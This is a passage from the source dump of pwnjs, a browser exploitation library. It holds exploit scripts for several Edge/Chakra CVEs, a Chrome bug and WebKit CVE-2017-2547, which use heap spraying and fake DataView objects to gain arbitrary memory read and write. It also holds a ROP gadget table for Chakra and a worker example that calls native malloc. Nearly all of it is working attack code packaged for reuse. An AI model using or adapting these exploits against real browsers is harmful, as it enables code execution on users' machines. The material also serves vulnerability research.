Object.create(ChakraExploit.prototype); 61 | Exploit.prototype.constructor = Exploit; 62 | Exploit.prototype.read = function (address, size) { 63 | this.fake_object[14] = address.low | 0; 64 | this.fake_object[15] = address.high | 0; 65 | 66 | switch (size) { 67 | case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); 68 | case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); 69 | case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); 70 | case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); 71 | } 72 | } 73 | Exploit.prototype.write = function (address, value, size) { 74 | this.fake_object[14] = address.low | 0; 75 | this.fake_object[15] = address.high | 0; 76 | 77 | switch (size) { 78 | case 8: return setInt8.call(this.dv, 0, value.low|0, true); 79 | case 16: return setInt16.call(this.dv, 0, value.low|0, true); 80 | case 32: return setInt32.call(this.dv, 0, value.low|0, true); 81 | case 64: 82 | setInt32.call(this.dv, 0, value.low|0, true); 83 | setInt32.call(this.dv, 4, value.high|0, true); 84 | } 85 | } 86 | return Exploit; 87 | })(); 88 | -------------------------------------------------------------------------------- /examples/CVE-2017-11873.js: -------------------------------------------------------------------------------- 1 | // IsDetached offset changes between major versions of Edge. 2 | // Windows 10 1607: 0x3C 3 | // Windows 10 1703: 0x20 4 | var Exploit = (function() { 5 | var ChakraExploit = pwnjs.ChakraExploit, 6 | Integer = pwnjs.Integer, 7 | getInt8 = DataView.prototype.getInt8, 8 | getInt16 = DataView.prototype.getInt16, 9 | getInt32 = DataView.prototype.getInt32, 10 | setInt8 = DataView.prototype.setInt8, 11 | setInt16 = DataView.prototype.setInt16, 12 | setInt32 = DataView.prototype.setInt32; 13 | 14 | function Exploit() { 15 | ChakraExploit.call(this); 16 | 17 | var array_addr; 18 | var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); 19 | var arr = [1.1, 2.2]; 20 | var b = new Uint32Array(100); 21 | var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); 22 | function opt(b, f, arr) { 23 | arr[0] = 1.1; 24 | for (var i = 0; i < 100; i++) { 25 | b[i] = f; 26 | } 27 | 28 | // read object address 29 | f64[0] = arr[0]; 30 | var base_lo = i32[0], base_hi = i32[1]; 31 | 32 | // corrupt element to point to fake_object data 33 | i32[0] = base_lo + 0x58; 34 | arr[0] = f64[0]; 35 | 36 | // Construct our fake DataView 37 | // vtable 38 | fake_object[0] = 0; fake_object[1] = 0; 39 | // Type* 40 | fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; 41 | // (TypeId for fake Type object) 42 | fake_object[4] = 56; fake_object[5] = 0; 43 | // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) 44 | fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; 45 | // Buffer size 46 | fake_object[8] = 0x200; fake_object[9] = 0; 47 | // ArrayBuffer pointer, +0x3C IsDetached 48 | fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; 49 | // Buffer address 50 | fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; 51 | 52 | array_addr = new Integer(base_lo, base_hi, true); 53 | } 54 | for (var i = 0; i < 0x10000; i++) { 55 | opt(b, 2, arr); 56 | } 57 | opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); 58 | 59 | this.dv = arr[0]; 60 | this.fake_object = fake_object; 61 | this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); 62 | } 63 | Exploit.prototype = Object.create(ChakraExploit.prototype); 64 | Exploit.prototype.constructor = Exploit; 65 | Exploit.prototype.read = function (address, size) { 66 | this.fake_object[14] = address.low | 0; 67 | this.fake_object[15] = address.high | 0; 68 | 69 | switch (size) { 70 | case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); 71 | case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); 72 | case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); 73 | case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); 74 | } 75 | } 76 | Exploit.prototype.write = function (address, value, size) { 77 | this.fake_object[14] = address.low | 0; 78 | this.fake_object[15] = address.high | 0; 79 | 80 | switch (size) { 81 | case 8: return setInt8.call(this.dv, 0, value.low|0, true); 82 | case 16: return setInt16.call(this.dv, 0, value.low|0, true); 83 | case 32: return setInt32.call(this.dv, 0, value.low|0, true); 84 | case 64: 85 | setInt32.call(this.dv, 0, value.low|0, true); 86 | setInt32.call(this.dv, 4, value.high|0, true); 87 | } 88 | } 89 | return Exploit; 90 | })(); 91 | -------------------------------------------------------------------------------- /examples/CVE-2017-11893.js: -------------------------------------------------------------------------------- 1 | // IsDetached offset changes between major versions of Edge. 2 | 3 | // Windows 10 1607: 0x3C 4 | // Windows 10 1703: 0x20 5 | var Exploit = (function() { 6 | var ChakraExploit = pwnjs.ChakraExploit, 7 | Integer = pwnjs.Integer, 8 | getInt8 = DataView.prototype.getInt8, 9 | getInt16 = DataView.prototype.getInt16, 10 | getInt32 = DataView.prototype.getInt32, 11 | setInt8 = DataView.prototype.setInt8, 12 | setInt16 = DataView.prototype.setInt16, 13 | setInt32 = DataView.prototype.setInt32; 14 | 15 | function Exploit() { 16 | ChakraExploit.call(this); 17 | 18 | var array_addr; 19 | var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); 20 | var arr = [1.1, 2.2]; 21 | var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); 22 | function opt(arr, dm) { 23 | arr[1] = 1.1; 24 | Math.min.apply(Math, dm); 25 | 26 | // read object address 27 | f64[0] = arr[0]; 28 | var base_lo = i32[0], base_hi = i32[1]; 29 | 30 | // corrupt element to point to fake_object data 31 | i32[0] = base_lo + 0x58; 32 | arr[0] = f64[0]; 33 | 34 | // Construct our fake DataView 35 | // vtable 36 | fake_object[0] = 0; fake_object[1] = 0; 37 | // Type* 38 | fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; 39 | // (TypeId for fake Type object) 40 | fake_object[4] = 56; fake_object[5] = 0; 41 | // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) 42 | fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; 43 | // Buffer size 44 | fake_object[8] = 0x200; fake_object[9] = 0; 45 | // ArrayBuffer pointer, +0x3C (or +0x20) IsDetached 46 | fake_object[10] = base_lo + 0x58 - 0x20; fake_object[11] = base_hi; 47 | // Buffer address 48 | fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; 49 | 50 | array_addr = new Integer(base_lo, base_hi, true); 51 | } 52 | for (var i = 0; i < 0x10000; i++) { 53 | opt(arr,[1.1,2.2]); 54 | } 55 | Math.min = function () { 56 | arr[0] = fake_object; 57 | } 58 | opt(arr,{}); 59 | 60 | this.dv = arr[0]; 61 | this.fake_object = fake_object; 62 | this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); 63 | } 64 | Exploit.prototype = Object.create(ChakraExploit.prototype); 65 | Exploit.prototype.constructor = Exploit; 66 | Exploit.prototype.read = function (address, size) { 67 | this.fake_object[14] = address.low | 0; 68 | this.fake_object[15] = address.high | 0; 69 | 70 | switch (size) { 71 | case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); 72 | case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); 73 | case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); 74 | case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); 75 | } 76 | } 77 | Exploit.prototype.write = function (address, value, size) { 78 | this.fake_object[14] = address.low | 0; 79 | this.fake_object[15] = address.high | 0; 80 | 81 | switch (size) { 82 | case 8: return setInt8.call(this.dv, 0, value.low|0, true); 83 | case 16: return setInt16.call(this.dv, 0, value.low|0, true); 84 | case 32: return setInt32.call(this.dv, 0, value.low|0, true); 85 | case 64: 86 | setInt32.call(this.dv, 0, value.low|0, true); 87 | setInt32.call(this.dv, 4, value.high|0, true); 88 | } 89 | } 90 | return Exploit; 91 | })(); 92 | -------------------------------------------------------------------------------- /examples/CVE-2017-8548.js: -------------------------------------------------------------------------------- 1 | // IsDetached offset changes between major versions of Edge. 2 | // Windows 10 1607: 0x3C 3 | // Windows 10 1703: 0x20 4 | var Exploit = (function() { 5 | var ChakraExploit = pwnjs.ChakraExploit, 6 | Integer = pwnjs.Integer, 7 | getInt8 = DataView.prototype.getInt8, 8 | getInt16 = DataView.prototype.getInt16, 9 | getInt32 = DataView.prototype.getInt32, 10 | setInt8 = DataView.prototype.setInt8, 11 | setInt16 = DataView.prototype.setInt16, 12 | setInt32 = DataView.prototype.setInt32; 13 | 14 | function Exploit() { 15 | ChakraExploit.call(this); 16 | 17 | var array_addr; 18 | var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); 19 | var arr = [1.1, 2.2]; 20 | var b = new Float32Array(0); 21 | var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); 22 | function opt(b, f, arr) { 23 | arr[0] = 1.1; 24 | b[0] = f; 25 | 26 | // read object address 27 | f64[0] = arr[0]; 28 | var base_lo = i32[0], base_hi = i32[1]; 29 | 30 | // corrupt element to point to fake_object data 31 | i32[0] = base_lo + 0x58; 32 | arr[0] = f64[0]; 33 | 34 | // Construct our fake DataView 35 | // vtable 36 | fake_object[0] = 0; fake_object[1] = 0; 37 | // Type* 38 | fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; 39 | // (TypeId for fake Type object) 40 | fake_object[4] = 56; fake_object[5] = 0; 41 | // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) 42 | fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; 43 | // Buffer size 44 | fake_object[8] = 0x200; fake_object[9] = 0; 45 | // ArrayBuffer pointer, +0x3C IsDetached 46 | fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; 47 | // Buffer address 48 | fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; 49 | 50 | array_addr = new Integer(base_lo, base_hi, true); 51 | } 52 | for (var i = 0; i < 0x10000; i++) { 53 | opt(b, 2, arr); 54 | } 55 | opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); 56 | 57 | this.dv = arr[0]; 58 | this.fake_object = fake_object; 59 | this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); 60 | } 61 | Exploit.prototype = Object.create(ChakraExploit.prototype); 62 | Exploit.prototype.constructor = Exploit; 63 | Exploit.prototype.read = function (address, size) { 64 | this.fake_object[14] = address.low | 0; 65 | this.fake_object[15] = address.high | 0; 66 | 67 | switch (size) { 68 | case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); 69 | case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); 70 | case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); 71 | case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); 72 | } 73 | } 74 | Exploit.prototype.write = function (address, value, size) { 75 | this.fake_object[14] = address.low | 0; 76 | this.fake_object[15] = address.high | 0; 77 | 78 | switch (size) { 79 | case 8: return setInt8.call(this.dv, 0, value.low|0, true); 80 | case 16: return setInt16.call(this.dv, 0, value.low|0, true); 81 | case 32: return setInt32.call(this.dv, 0, value.low|0, true); 82 | case 64: 83 | setInt32.call(this.dv, 0, value.low|0, true); 84 | setInt32.call(this.dv, 4, value.high|0, true); 85 | } 86 | } 87 | return Exploit; 88 | })(); 89 | -------------------------------------------------------------------------------- /examples/chakra.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

 5 | 
 6 |         
 7 |         
 8 |         
 9 |         
10 |         
11 |         
12 |         
26 |     
27 | 
28 | 


--------------------------------------------------------------------------------
/examples/chrome-789393.js:
--------------------------------------------------------------------------------
  1 | var Exploit = (function() {
  2 |     var ChromeExploit = pwnjs.ChromeExploit,
  3 |         Integer = pwnjs.Integer,
  4 |         setInt32 = DataView.prototype.setInt32;
  5 | 
  6 |     function Exploit() {
  7 |         ChromeExploit.call(this);
  8 | 
  9 |         /* We are going to modify these ArrayBuffers rather than keep a reference to a fake DataView. */
 10 |         this.manager_ab = new ArrayBuffer(8);
 11 |         this.target_ab = new ArrayBuffer(8);
 12 |         this.manager_dv = new DataView(this.manager_ab);
 13 |         this.dv = new DataView(this.target_ab);
 14 | 
 15 |         /* Helpers to convert between double and int64. */
 16 |         var f64 = new Float64Array(1);
 17 |         var u32 = new Uint32Array(f64.buffer);
 18 |         function d2u(v) {
 19 |             f64[0] = v;
 20 |             return u32;
 21 |         }
 22 |         function u2d(lo, hi) {
 23 |             u32[0] = lo;
 24 |             u32[1] = hi;
 25 |             return f64[0];
 26 |         }
 27 | 
 28 |         var packed_dbl_arr = [1, 2, 3, 4.4, 5.5, 6.6];
 29 |         var packed_ele_arr = [0x13371337, 0, {}, 0];
 30 |         var spray_arr = new Array(2*1024*1024);
 31 |         var spray_idx = 0;
 32 |         function spray() {
 33 |             if (spray_idx >= 2*1024*1024) {
 34 |                 return false;
 35 |             }
 36 |             for (let i = 0; i < (1024 * 1024) / 16; i++) {
 37 |                 tmp = packed_dbl_arr.slice(0);
 38 |                 spray_arr[spray_idx++] = tmp;
 39 |                 tmp = packed_ele_arr.slice(0);
 40 |                 tmp[1] = spray_idx;
 41 |                 spray_arr[spray_idx++] = tmp;
 42 |             }
 43 |         }
 44 | 
 45 |         var keys = [];
 46 |         for (let i = 0; i < 1022; i++) {
 47 |             keys.push('b' + i);
 48 |         }
 49 | 
 50 |         spray();
 51 |         spray();
 52 | 
 53 |         function* generator() {
 54 |         }
 55 | 
 56 |         for (let i = 0; i < 1022; i++) {
 57 |             generator.prototype[keys[i]];
 58 |             generator.prototype[keys[i]] = 0x1234;
 59 |         }
 60 | 
 61 |         var oob = null;
 62 |         while (oob === null) {
 63 |             if (spray() === false) {
 64 |                 throw 'exploit failed';
 65 |             }
 66 |             if (generator.prototype[keys[3]] == 6) {
 67 |                 generator.prototype[keys[3]] = 1000000;
 68 |                 for (let i = 0; i < spray_idx; i++) {
 69 |                     if (spray_arr[i].length == 1000000) {
 70 |                         oob = spray_arr[i];
 71 |                         break;
 72 |                     }
 73 |                 }
 74 |             }
 75 |         }
 76 | 
 77 |         var fake_map_obj = [
 78 |             /* Fake Map object */
 79 |             u2d(0, 0),
 80 |             u2d(0, 0x1000c8),
 81 |             u2d(0, 0),
 82 |             u2d(0, 0),
 83 | 
 84 |             /* Fake ArrayBuffer object */
 85 |             u2d(0, 0),
 86 |             u2d(0, 0),
 87 |             u2d(0, 0),
 88 |             u2d(0, 0),
 89 |             u2d(0x43434343, 0x44444444),
 90 |             u2d(0, 0),
 91 |         ].slice(0);
 92 | 
 93 |         var leak_idx;
 94 |         var target_idx;
 95 |         for (let i = 0; i < 100; i++) {
 96 |             try {
 97 |                 if (d2u(oob[i])[1] == 0x13371337) {
 98 |                     leak_idx = i;
 99 |                     break;
100 |                 }
101 |             } catch (e) {
102 |             }
103 |         }
104 | 
105 |         if (leak_idx === undefined) {
106 |             throw 'unable to find target array';
107 |         }
108 | 
109 |         target_idx = d2u(oob[leak_idx + 1])[1];
110 |         if (spray_arr[target_idx] === undefined) {
111 |             throw 'exploit failed';
112 |         }
113 | 
114 |         spray_arr[target_idx][2] = fake_map_obj;
115 |         var fake_map_lo = d2u(oob[leak_idx + 2])[0] - 1 + 0x30;
116 |         var fake_map_hi = d2u(oob[leak_idx + 2])[1];
117 | 
118 |         var fake_dv_obj = [
119 |             u2d(fake_map_lo + 1, fake_map_hi),
120 |             u2d(0, 0),
121 |             u2d(0, 0),
122 |             u2d(fake_map_lo + 0x20 + 1, fake_map_hi),
123 |             u2d(0, 0),
124 |             u2d(0, 0x4000),
125 |         ].slice(0);
126 | 
127 |         spray_arr[target_idx][2] = fake_dv_obj;
128 |         var fake_dv_lo = d2u(oob[leak_idx + 2])[0] - 1 + 0x30;
129 |         var fake_dv_hi = d2u(oob[leak_idx + 2])[1];
130 | 
131 |         oob[leak_idx + 3] = u2d(fake_dv_lo + 1, fake_dv_hi);
132 | 
133 |         /* Leak address of manager ArrayBuffer. This should be in the old space. */
134 |         spray_arr[target_idx][2] = this.manager_ab;
135 |         var manager_ab_lo = d2u(oob[leak_idx + 2])[0] - 1;
136 |         var manager_ab_hi = d2u(oob[leak_idx + 2])[1];
137 | 
138 |         /* Leak address of target ArrayBuffer. This should be in the old space. */
139 |         spray_arr[target_idx][2] = this.target_ab;
140 |         var target_ab_lo = d2u(oob[leak_idx + 2])[0] - 1;
141 |         var target_ab_hi = d2u(oob[leak_idx + 2])[1];
142 | 
143 |         /* Use fake DataView to setup manager ArrayBuffer to control address of target ArrayBuffer. */
144 |         fake_map_obj[8] = u2d(manager_ab_lo + 0x20, manager_ab_hi);
145 |         setInt32.call(spray_arr[target_idx][3], 0, target_ab_lo + 0x20, true);
146 |         setInt32.call(spray_arr[target_idx][3], 4, target_ab_hi, true);
147 | 
148 |         var mem_chunk = this.Uint64Ptr.cast(new Integer(fake_map_lo & 0xFFF80000, fake_map_hi));
149 |         var semi_space = this.Uint64Ptr.cast(mem_chunk[6].and(new Integer(7).not()));
150 |         var vtable = semi_space[0];
151 | 
152 |         /* Drop references to corrupted objects. Otherwise scavenge will try to move to old space. */
153 |         oob = null;
154 |         spray_arr[target_idx][3] = null;
155 |         spray_arr = null;
156 | 
157 |         /* Finish pwn.js initialization. This will likely cause GC or scavenge. */
158 |         this.initChrome(vtable);
159 |     }
160 |     Exploit.prototype = Object.create(ChromeExploit.prototype);
161 |     Exploit.prototype.constructor = Exploit;
162 |     Exploit.prototype.read = function (address, size) {
163 |         this.manager_dv.setInt32(0, address.low, true);
164 |         this.manager_dv.setInt32(4, address.high, true);
165 | 
166 |         switch (size) {
167 |             case 8: return new Integer(this.dv.getInt8(0, true), 0, true);
168 |             case 16: return new Integer(this.dv.getInt16(0, true), 0, true);
169 |             case 32: return new Integer(this.dv.getInt32(0, true), 0, true);
170 |             case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true);
171 |         }
172 |     }
173 |     Exploit.prototype.write = function (address, value, size) {
174 |         this.manager_dv.setInt32(0, address.low, true);
175 |         this.manager_dv.setInt32(4, address.high, true);
176 | 
177 |         switch (size) {
178 |             case 8: return this.dv.setInt8(0, value.low|0, true);
179 |             case 16: return this.dv.setInt16(0, value.low|0, true);
180 |             case 32: return this.dv.setInt32(0, value.low|0, true);
181 |             case 64:
182 |                 this.dv.setInt32(0, value.low|0, true);
183 |                 this.dv.setInt32(4, value.high|0, true);
184 |         }
185 |     }
186 |     return Exploit;
187 | })();
188 | 


--------------------------------------------------------------------------------
/examples/chrome.html:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 |     
 4 |         

 5 | 
 6 |         
 7 |         
 8 |         
24 |     
25 | 
26 | 


--------------------------------------------------------------------------------
/examples/thread.js:
--------------------------------------------------------------------------------
1 | importScripts('../dist/pwn.js');
2 | 
3 | with (new pwnjs.ChakraThreadExploit()) {
4 |     var malloc = importFunction('msvcrt.dll', 'malloc', Uint8Ptr);
5 |     postMessage(malloc(8).toString());
6 | }
7 | 


--------------------------------------------------------------------------------
/examples/webkit-CVE-2017-2547.js:
--------------------------------------------------------------------------------
  1 | // Original exploit from singi @ Theori : https://github.com/theori-io/zer0con2018_singi
  2 | // Improved version by Externalist. Saw lots of room for improvement so did a complete Facelift. Enhanced reliablity, removed all offset dependencies to make it compatible with various browser versions, used a different exploitation technique, created pwnjs webkit prototype, Took care of process continuation, Made the code clean & concise & verbose, etc etc...
  3 | 
  4 | var Exploit = (function() {
  5 |     var WebkitExploit = pwnjs.WebkitExploit,
  6 |         Integer = pwnjs.Integer
  7 | 
  8 |     function Exploit() {
  9 |         WebkitExploit.call(this);
 10 | 
 11 |         var reference_index = -0x7c000000;              // Value that worked best for me. It attempts to index backwards but strangely, when applied to ArrayBuffers, it actually indexes forward by a whooping 0x400000000 bytes(16 gigs)! We can slash that to half(0x200000000 - 8 gigs) by referencing the biggest negative number possible.
 12 |         negative_index_array = new Uint32Array(0x10);   // For some odd reason, putting a 'var' in front of this will break the bug trigger
 13 |         var gigabyte_spray_arrays = [];
 14 |         var jit_function = new Function();
 15 |         
 16 |         function log(str) {
 17 |             document.write('[*] ' + str + ' 
'); 18 | } 19 | 20 | function relative_read(index){ 21 | jit_function = new Function(` 22 | var reference_array = negative_index_array; 23 | for (var i=0; i<0x100000; ++i) parseInt(); 24 | reference_array[1]; 25 | 26 | var retval = reference_array[` + (reference_index + index) + `]; 27 | return retval;`); 28 | 29 | return jit_function(); 30 | } 31 | 32 | function relative_write(index, value){ 33 | jit_function = new Function(` 34 | var reference_array = negative_index_array; 35 | for (var i=0; i<0x100000; ++i) parseInt(); 36 | reference_array[1]; 37 | 38 | reference_array[` + (reference_index + index) + `] = ` + value + `;`); 39 | 40 | jit_function(); 41 | } 42 | 43 | // This is going to spray 8 gigabytes on the Safari Memory. This is to push the subsequent allocations 8 gigabytes further away from 'negative_index_array'. 44 | for(var i=0; i<4; i++) { 45 | gigabyte_spray_arrays[i] = new Uint8Array(0x7fffff00); 46 | } 47 | this.dgc(); // I don't know why but sometimes, the allocation would be 'scheduled' to happen in the future and mess up the allocation order(I thought everything happens in a single thread apart from GC & JIT compiling & Workers & Asynchronous stuff...?). This is to just make sure that the 8 gigabyte allocation precedes the sprayed arrays. 48 | 49 | // Spray a bunch of target arrays 50 | spray_count = 0x400000; 51 | var spray_arrays = new Array(spray_count); 52 | spray_arrays.fill(0); // To pre-allocate the Array, otherwise it would try to grow continously and create interfering allocations 53 | // Spraying a 60 element array is enough to create lots of 60MB space "cusion" in order to avoid the unmmapped holes inbetween (which would induce a crash if the relative read unluckily lands there) 54 | for(var i=0; i 2 | 3 | 4 |

 5 | 
 6 |         
 7 |         
 8 |         
32 |     
33 | 
34 | 


--------------------------------------------------------------------------------
/jsdoc.json:
--------------------------------------------------------------------------------
 1 | {
 2 |     "docdash": {
 3 |         "sort": true
 4 |     },
 5 |     "opts": {
 6 |         "destination": "docs/",
 7 |         "template": "node_modules/docdash"
 8 |     },
 9 |     "source": {
10 |         "include": "src"
11 |     }
12 | }
13 | 


--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "pwnjs",
 3 |   "version": "1.1.0",
 4 |   "description": "Browser exploitation library.",
 5 |   "main": "src/index.js",
 6 |   "directories": {
 7 |     "doc": "docs",
 8 |     "example": "examples"
 9 |   },
10 |   "dependencies": {},
11 |   "devDependencies": {
12 |     "docdash": "^0.4.0",
13 |     "jsdoc": "^3.5.5",
14 |     "patch-package": "^3.6.0",
15 |     "serve": "^10.1.2",
16 |     "uglifyjs-webpack-plugin": "^1.3.0",
17 |     "webpack": "^3.12.0",
18 |     "webpack-merge": "^4.1.1"
19 |   },
20 |   "scripts": {
21 |     "build": "webpack --config webpack.dev.js && webpack --config webpack.prod.js",
22 |     "jsdoc": "jsdoc -c jsdoc.json -R README.md",
23 |     "prepare": "patch-package",
24 |     "start": "webpack --config webpack.dev.js && serve",
25 |     "test": "echo \"Error: no test specified\" && exit 1"
26 |   },
27 |   "repository": {
28 |     "type": "git",
29 |     "url": "git+https://github.com/theori-io/pwnjs.git"
30 |   },
31 |   "author": "Theori",
32 |   "license": "MIT",
33 |   "bugs": {
34 |     "url": "https://github.com/theori-io/pwnjs/issues"
35 |   },
36 |   "homepage": "https://github.com/theori-io/pwnjs#readme"
37 | }
38 | 


--------------------------------------------------------------------------------
/patches/docdash+0.4.0.patch:
--------------------------------------------------------------------------------
 1 | patch-package
 2 | --- a/node_modules/docdash/publish.js
 3 | +++ b/node_modules/docdash/publish.js
 4 | @@ -302,7 +302,7 @@ function buildMemberNav(items, itemHeading, itemsSeen, linktoFn) {
 5 |                  itemsNav += '
  • ' + linktoFn('', item.name); 6 | itemsNav += '
  • '; 7 | } else if ( !hasOwnProp.call(itemsSeen, item.longname) ) { 8 | - itemsNav += '
  • ' + linktoFn(item.longname, item.name.replace(/^module:/, '')); 9 | + itemsNav += '
  • ' + linktoFn(item.longname, item.longname); 10 | 11 | if (docdash.static && members.find(function (m) { return m.scope === 'static'; } )) { 12 | itemsNav += "
      "; 13 | -------------------------------------------------------------------------------- /src/chakraexploit.js: -------------------------------------------------------------------------------- 1 | import BaseExploit from "baseexploit"; 2 | import Integer from "integer"; 3 | 4 | /** 5 | * Constructs an exploit with sensible defaults for Chakra. Child must call initChakra method once read and write methods are available. 6 | * 7 | * @augments BaseExploit 8 | * @class 9 | * @constructor 10 | */ 11 | function ChakraExploit() { 12 | var exploit = this; 13 | BaseExploit.call(this, 64); 14 | 15 | /** 16 | * Constructs a thread using a Web Worker. The worker script must create a {@link ChakraThreadExploit} object. 17 | * 18 | * @memberof ChakraExploit 19 | * @instance 20 | * @class 21 | * @constructor 22 | */ 23 | function Thread(url) { 24 | var worker = new Worker(url); 25 | worker.onmessage = (e) => { 26 | if (e.data == 'CHAKRA_EXPLOIT') { 27 | var stackLimit = exploit.globalListFirst.load()[exploit.threadContextStackLimit]; 28 | // Default stack size of web worker 29 | // 1 MB 30 | var stackSize = 1 * 1024 * 1024; 31 | var stackTop = stackLimit.sub(0xc000).add(stackSize); 32 | var stk = exploit.Uint64Ptr.cast(stackTop).add(-1); 33 | while (!new Integer(0x41424344, 0x10000).eq(stk.load())) { 34 | stk = stk.add(-1); 35 | if (stk.address <= stackTop.sub(0x10000)) { 36 | throw 'unable to find canary'; 37 | } 38 | } 39 | var worker = exploit.Uint64Ptr.cast(stk[1]); 40 | var manager = exploit.Uint64Ptr.cast(stk[2]); 41 | // Set manager's data pointer to worker object 42 | manager[7] = worker; 43 | // Set flag in worker's data to notify thread to stop spinning 44 | exploit.Int32Ptr.cast(worker[7])[0] = 1; 45 | } else if (this.onmessage) { 46 | return this.onmessage(e); 47 | } 48 | } 49 | /** 50 | * @memberof ChakraExploit#Thread 51 | * @instance 52 | * @function onmessage 53 | */ 54 | this.onmessage = null; 55 | /** 56 | * postMessage to web worker 57 | * @function 58 | */ 59 | this.postMessage = worker.postMessage.bind(worker); 60 | } 61 | this.Thread = Thread; 62 | } 63 | ChakraExploit.prototype = Object.create(BaseExploit.prototype); 64 | ChakraExploit.prototype.constructor = ChakraExploit; 65 | /** 66 | * Initializes Chakra helpers using memory read and write. 67 | * 68 | * @param {Integer|Pointer} vtable Any address in the chakra DLL 69 | */ 70 | ChakraExploit.prototype.initChakra = function (vtable) { 71 | this.chakraBase = this.findModuleBase(vtable); 72 | 73 | var gadgets = [ 74 | ['callLoadLibraryExW', [0x48, 0x8B, 0xC8, 0x33, 0xD2, 0x41, 0xB8, 0x00, 0x08, 0x00, 0x00, 0xFF, 0x15]], 75 | ['jmpGetProcAddress', [0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x49, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x48, 0x83, 0xC4, 0x28, 0x48, 0xFF, 0x25]], 76 | ['nopReturn', [0xC3]], 77 | ['popRaxReturn', [0x58, 0xC3]], 78 | ['popRdxReturn', [0x5A, 0xC3]], 79 | ['popRspReturn', [0x5C, 0xC3]], 80 | ['popRbpReturn', [0x5D, 0xC3]], 81 | ['addRsp58Return', [0x48, 0x83, 0xC4, 0x58, 0xC3]], 82 | ['storeRaxAtRdxReturn', [0x48, 0x89, 0x02, 0xC3]], 83 | ['entrySlice', [0x8B, 0xF8, 0x41, 0x83, -1, 0x02]], 84 | ['amd64CallFunction', [0x4C, 0x8B, 0x4E, 0x08, 0x4C, 0x8B, 0x06, 0x48, 0x83, 0xEC, 0x20, 0xFF]], 85 | ['linkToBeginningThreadContext', [0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x48, 0x83, -1, -1, 0x00]], 86 | ['popRcxRdxR8R9Return', [0x48, 0x8B, 0x4C, 0x24, 0x08, 0x48, 0x8B, 0x54, 0x24, 0x10, 0x4C, 0x8B, 0x44, 0x24, 0x18, 0x4C, 0x8B, 0x4C, 0x24, 0x20, 0x48, 0xFF, 0xE0]], 87 | ['addRsp28Return', [0x48, 0x83, 0xC4, 0x28, 0xC3]], 88 | ]; 89 | this.gadgets = this.findGadgets(this.chakraBase, gadgets); 90 | // amd64CallFunction was changed in 1709, so the offset to after the call is different 91 | // call rax (FF D0) 92 | // call __guard_dispatch_icall_fptr (FF 15 ...) 93 | this.amd64CallFunctionReturnOffset = this.gadgets.amd64CallFunction[12] == 0xD0 ? 13 : 17; 94 | // initialize ThreadContext information 95 | if (this.gadgets.linkToBeginningThreadContext[17] == 0x61) { 96 | this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8; 97 | this.threadContextNext = this.gadgets.linkToBeginningThreadContext[30] / 8; 98 | this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(27).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(23))[0])); 99 | } else if (this.gadgets.linkToBeginningThreadContext[17] == 0xA1) { 100 | this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8; 101 | this.threadContextNext = this.gadgets.linkToBeginningThreadContext[33] / 8; 102 | this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(30).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(26))[0])); 103 | } else { 104 | throw 'unsupported version'; 105 | } 106 | var 